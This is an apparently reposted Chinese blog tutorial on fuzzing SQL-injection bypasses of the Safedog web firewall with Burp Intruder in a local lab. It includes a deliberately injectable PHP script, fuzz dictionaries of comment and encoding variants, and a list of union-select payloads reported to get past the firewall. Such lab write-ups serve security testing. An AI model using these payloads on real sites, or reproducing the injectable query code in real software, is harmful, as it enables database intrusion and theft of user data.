原文链接:http://www.building.tk/index.php/archives/255/
前言- 纵观全网进行各种bypass的很少涉及具体测试过程,大多是直接放出payload。那么很快防护软件就会进行更新策略,有效的payload存活时间很短。
- 最近也发现一些很nice的作者,会放出fuzz的脚本,这样就是“授之以渔”了,我们应该感谢作者的分享精神。
- burpsuite是一款神器,很多操作都可以借助它来完成,也是我们做安全研究必备的一款工具。fuzz说白了就是不断地提交、不断地测试,看返回结果来判断payload是否有效,那么我们可以结合burpsuite的intruder模块来进行fuzz,同样可以达到很好的效果。
Fuzzing环境- phpStudy2017
[url=http://www.building.tk/usr/uploads/2017/11/3330301639.png] - 二狗子v4.0
[/url] - BurpSuite
Fuzzing过程先准备一个测试sql注入的脚本 - <title>Fuzzing 2dog</title>>
- <?php
- $link = mysql_connect('localhost', 'root', 'root'); mysql_select_db('security', $link);
-
- $sql = 'select * from `users` where `id`='.$_REQUEST['id'];
- echo "执行的SQL语句<br />\n";
- echo $sql."<br>\n";
- $result =mysql_query($sql);
- while($array = mysql_fetch_assoc($result))
- {
- echo "<br />\n";
- echo "Bypass 2dog success!";
- echo "<br />\n";
- echo "id=".$array['id']."<br />\n";
- echo "username=".$array['username']."<br />\n";
- echo "password=".$array['password']."<br />\n";
- }
- echo mysql_error();
- ?>
复制代码再来份数据库security - DROP TABLE IF EXISTS `users`;
- CREATE TABLE `users` (
- `id` int(3) NOT NULL AUTO_INCREMENT,
- `username` varchar(20) NOT NULL,
- `password` varchar(20) NOT NULL,
- PRIMARY KEY (`id`)
- ) ENGINE=MyISAM AUTO_INCREMENT=15 DEFAULT CHARSET=gbk;
- # Data for table "users"
- INSERT INTO `users` VALUES (1,'Dumb','Dumb'),(2,'Angelina','I-kill-you'),(3,'Dummy','p@ssword'),(4,'secure','crappy'),(5,'stupid','stupidity'),(6,'superman','genious'),(7,'batman','mob!le'),(8,'admin','admin'),(9,'admin1','admin1'),(10,'admin2','admin2'),(11,'admin3','admin3'),(12,'dhakkan','dumbo'),(14,'admin4','admin4');
复制代码环境配置好后,访问
[url=http://www.building.tk/usr/uploads/2017/11/1611428436.png]
现在测一下二狗子能否正常运作(拦截攻击)
[/url]
嗯,很完美的拦截了。现在可以放心的进行fuzz了...
先开代理,burpsuite抓包,进入intruder模块 - GET /sqli-labs/Less-1/?id=1/*!union/*/*§a§§b§select*/1,2,3 HTTP/1.1
- Host: 192.168.8.14
- Proxy-Connection: keep-alive
- Cache-Control: max-age=0
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
- Upgrade-Insecure-Requests: 1
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
- DNT: 1
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.8
- Cookie: yunsuo_session_verify=0d351ecd28be2363b55de180b78b8dc8; safedog-flow-item=
复制代码根据观察以往多种bypass的payload,我们这里测试可以更方便的设置fuzz对象
/*!union/*/*<fuzz_1><fuzz_2>select*/1,2,3
现在准备两份payload字典: - /*
- /*/*
- */
- /**/
- /*/**/
- /*!
- /*!*/
- /*!/*!*/
- /*?
- /*^
复制代码- ~
- !
- ?
- %
- %00
- %23
- %0a
- %0b
- %0c
- %0d
- %0e
- %0f
- %0g
- %0h
- %0i
- %0j
- %0k
- %0l
- %0m
- %0n
- %0o
- %0p
- %0q
- %0r
- %0s
- %0t
- %0u
- %0v
- %0w
- %0x
- %0y
- %0z
复制代码Attack type设为Cluster Bomb
[url=http://www.building.tk/usr/uploads/2017/11/2673405015.png]
进入Options设置response包匹配关键字Bypass
[/url]
go起来,看看fuzz结果如何
[url=http://www.building.tk/usr/uploads/2017/11/3750384701.png]
fuzz的成果显著,但执行敏感函数还是会被二狗子拦截(必须的)
[/url]
那就继续fuzz呗,动手吧骚年!
[url=http://www.building.tk/usr/uploads/2017/11/2880717676.png] 结语放出一部分payload给伸手党吧,希望你们能掌握这种方便的fuzz方法,将burpsuite神技发扬光大。 - Bypass `id`=1
- true /*!union/*/*%0i*/select*/1,2,3
- true /*!union/*/*%0j*/select*/1,2,3
- true /*!union/*/*%0m*/select*/1,2,3
- true /*!union/*/*%0x^*/select*/1,2,3
- true /*!union/*/*%0z^*/select*/1,2,3
- true /*!union/*/*%0y^*/select*/1,2,3
复制代码另外: - 关于块注释/*和内联注释/*!
/*/**/这样是等效于/**/的,mysql中/*!/*!*/是等效于/*!*/的 - 关于内联注释/*!50100*/
特别注意50100表示mysql的版本5.01.00或者更高的版本,才有效不报错。也就是说内联注释可以从/*!00000*/到/*!50100*/都可以作为payload - 关于fuzz的point
多尝试,多看看以往的bypass payload,就能从中找到一些规律,提高fuzz效率
|